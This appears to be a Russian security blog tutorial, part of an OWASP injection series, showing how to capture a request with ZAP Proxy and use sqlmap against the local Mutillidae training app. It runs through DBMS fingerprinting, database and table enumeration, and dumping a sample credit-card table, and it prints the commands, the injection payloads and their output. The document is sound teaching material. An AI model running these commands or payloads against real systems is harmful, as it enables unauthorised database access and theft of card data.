A1: 2017 – Injections (Часть 3 и последняя)

    В моей любимой компьютерной игре Quest for Glory 2: Trial by Fire, когда мир в очередной раз оказывается в опасности, главный герой попадает в Университет волшебников. После успешного прохождения вступительных испытаний бородатые мудрые волшебники предлагают поступить в этот Университет, потому что, окончив его, мы разберемся во всех тонкостях магии, изучим все заклинания и тогда уже точно спасем своих друзей и победим мировое зло. Проблема только в том, что учиться предстоит 15-20 лет, а за это время силы зла успеют победить и не один раз.

    Я каждый раз невольно вспоминаю этот эпизод, когда передо мной оказывается очередная интересная книга или кипа технической документации. Про тайм-менеджмент написана куча книг, но для меня это сводится к простой формуле: разобрался в основах, разобрал примеры – дальше только автоматизация!

    Теперь, когда мы примерно представляем, как работают инъекции, так почему бы не попробовать упростить себе жизнь и еще раз разобрать какой-нибудь прошлый пример, но уже с помощью дополнительного программного обеспечения. Нам потребуется два инструмента:
    Sqlmap – инструмент, которой позволяет автоматизировать поиск и эксплуатацию уязвимостей в SQL и ZAP Proxy – локальный прокси-сервер, который нужен для анализа трафика между браузером в веб-сервером.

    Опять нужно упомянуть, что это не единственные подобные инструменты, и наверняка в соседнем блоге вам убедительно докажут, что вместо sqlmap нужно разобраться с sqlninja, а на ZAP тратить время не нужно, когда есть Burp. Спорить ни с кем не стану.

    Облегчать жизнь мы себе начнем с перехвата трафика между клиентом и веб-сервером. Полученные данные будут использованы в качестве параметров для sqlmap. По большому счету, в качестве такого параметра может выступать и URL уязвимого приложения, но сейчас данные с прокси будут для нас нагляднее.

    Работать будем всё с тем же примером из A1, который мы разбирали в предыдущей статье («SQLi – Extract Data» > «User Info (SQL)»).


    Зайдем на эту страницу через наш ZAP Proxy и введем какие-нибудь данные. Я понимаю, что велик соблазн уже попробовать что-то из того, что мы изучили, но именно сейчас нужно просто ввести любые заведомо неправильные данные. Я ввожу свои любимые admin/password и получаю в перехвате вот такой запрос:

    GET http://127.0.0.1/mutillidae/index.php?page=user-
    
    info.php&username=admin&password=password&user-info-php-submit-
    
    button=View+Account+Details HTTP/1.1
    
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
     
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
    Accept-Language: en-US,en;q=0.5  
    Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php  
    Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega  
    Connection: keep-alive  
    Upgrade-Insecure-Requests: 1  
    Host: 127.0.0.1  
    

    Здесь нас в первую очередь интересует первая строчка, а именно запрос. Иногда полезно проверить, то ли мы перехватили. Это можно сделать, повторив этот сформированный запрос в том же браузере. Если получим ту же страницу с ошибкой, значит мы на верном пути.

    Сохраним наш перехваченный запрос в виде отдельного файла request_sqlmap.txt.

    А теперь передадим это файл для анализа в sqlmap:

    sqlmap -r reqest_sqlmap.txt --banner  

    Параметр –banner нам нужен, чтобы sqlmap попробовал определить, с какой СУБД мы имеем дело. В нашем примере это не так важно, но на практике вы сможете ускорить тестирование, не отвлекаясь на аспекты других СУБД, которые не применимы к вашей цели.

    [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable  
    GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n  
    sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests:  
    ---  
    Parameter: username (GET)  
    Type: error-based  
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
    Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details  
    Type: UNION query  
    Title: Generic UNION query (NULL) - 7 columns  
    Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details  
    ---  
    [23:20:10] [INFO] the back-end DBMS is MySQL  
    [23:20:10] [INFO] fetching banner  
    web server operating system: Windows  
    web application technology: Apache 2.4.29, PHP 7.2.3  
    back-end DBMS: MySQL >= 5.0  
    banner: '10.1.31-MariaDB'  
    [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1'  
    

    Сканирование успешно завершено, и мы еще раз увидели, то, что в общем-то и так знали:

    [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable  

    Кроме этого, sqlmap определил, что мы имеем дело с mysql, а точнее его форком. Теперь давайте посмотрим, какие базы данных есть на сервере:

    sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs

    Здесь и далее мы будем указывать в качестве параметра для sqlmap наш файл перехвата. Кроме этого, мы укажем параметры, которые уже знаем: тип СУБД, а также ключ -dbs, чтобы получить данные о существующих базах данных:

    [23:27:19] [WARNING] reflective value(s) found and filtering out  
    available databases [6]:  
    [*] information_schema  
    [*] mutillidae  
    [*] mysql  
    [*] performance_schema  
    [*] phpmyadmin  
    [*] test  
    


    Отлично. Обычно базам дают какие-то осмысленные названия, либо они создаются автоматически при установке приложений. Принцип «Security by obscurity», конечно, никто не отменял, но это скорее исключение, чем правило. Самое интересное в нашем, случае судя по всему, это база mutillidae, посмотрим из чего она состоит:

    sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables  

    Здесь к известным нам вещам мы добавим нужную СУБД и ключ –tables, чтобы посмотреть на таблицы этой базе:

    [23:29:42] [WARNING] reflective value(s) found and filtering out  
    Database: mutillidae  
    [13 tables]  
    +----------------------------+  
    | accounts 		     |  
    | balloon_tips               |  
    | blogs_table                |  
    | captured_data              |  
    | credit_cards               |  
    | help_texts                 |  
    | hitlog                     |  
    | level_1_help_include_files |  
    | page_help                  |  
    | page_hints                 |  
    | pen_test_tools             |  
    | user_poll_results          |  
    | youtubevideos              |  
    +----------------------------+  
    

    Уже неплохо. Особенно многообещающей выглядит таблица credit_cards. Заглянем в нее:

    sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns 

    и получим:

    [23:31:35] [WARNING] reflective value(s) found and filtering out  
    Database: mutillidae  
    Table: credit_cards  
    [4 columns]  
    +------------+---------+  
    | Column     |   Type  |  
    +------------+---------+  
    | ccid       | int(11) |  
    | ccnumber   | text    |  
    | ccv        | text    |  
    | expiration | date    |   
    +------------+---------+  
    

    Ого, да тут целая таблица, где должны храниться данные о кредитных картах! Раз уж пришли, давайте заглянем в эту таблицу:

    sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump  

    Упс:

    [23:32:42] [WARNING] reflective value(s) found and filtering out  
    Database: mutillidae  
    Table: credit_cards  
    [5 entries]  
    +------+-----+----------------------------+-----------------+  
    | ccid | ccv | ccnumber                   | expiration      |  
    +------+-----+----------------------------+-----------------+  
    | 1    | 745 | 4444111122223333           | 2012-03-01      |  
    | 2    | 722 | 7746536337776330           | 2015-04-01      |  
    | 3    | 461 | 8242325748474749           | 2016-03-01      |  
    | 4    | 230 | 7725653200487633           | 2017-06-01      |  
    | 5    | 627 | 1234567812345678           | 2018-11-01      |  
    +------+-----+----------------------------+-----------------+  
    

    Вот и они, наши кредитные карты. У вас в голове сейчас должны прозвучать два вопроса: как это работает, и откуда все эти данные?

    Как это работает? Ну строго говоря, так же, как если бы вы перебирали все возможные варианты, пытаясь наугад проэксплуатировать ту или иную уязвимость.

    А вот откуда данные, вопрос к администратору, который разместил такие важные сведения в таком неподходящем месте.

    У sqlmap десятки параметров, которые мы не можем разобрать в одной статье. Но и задача моих статей – познакомить с решением, а дальше уже дело за вами. Попробуйте на досуге так же покопать остальные базы и поэкспериментировать с параметрами, возможно, кредитные карты – это не самое интересное. =)

    Прочитать блог автора статьи можно по этой ссылке.
    Газинформсервис
    27,15
    Надежные решения для безопасности бизнеса
    Поделиться публикацией

    Комментарии 0

    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

    Самое читаемое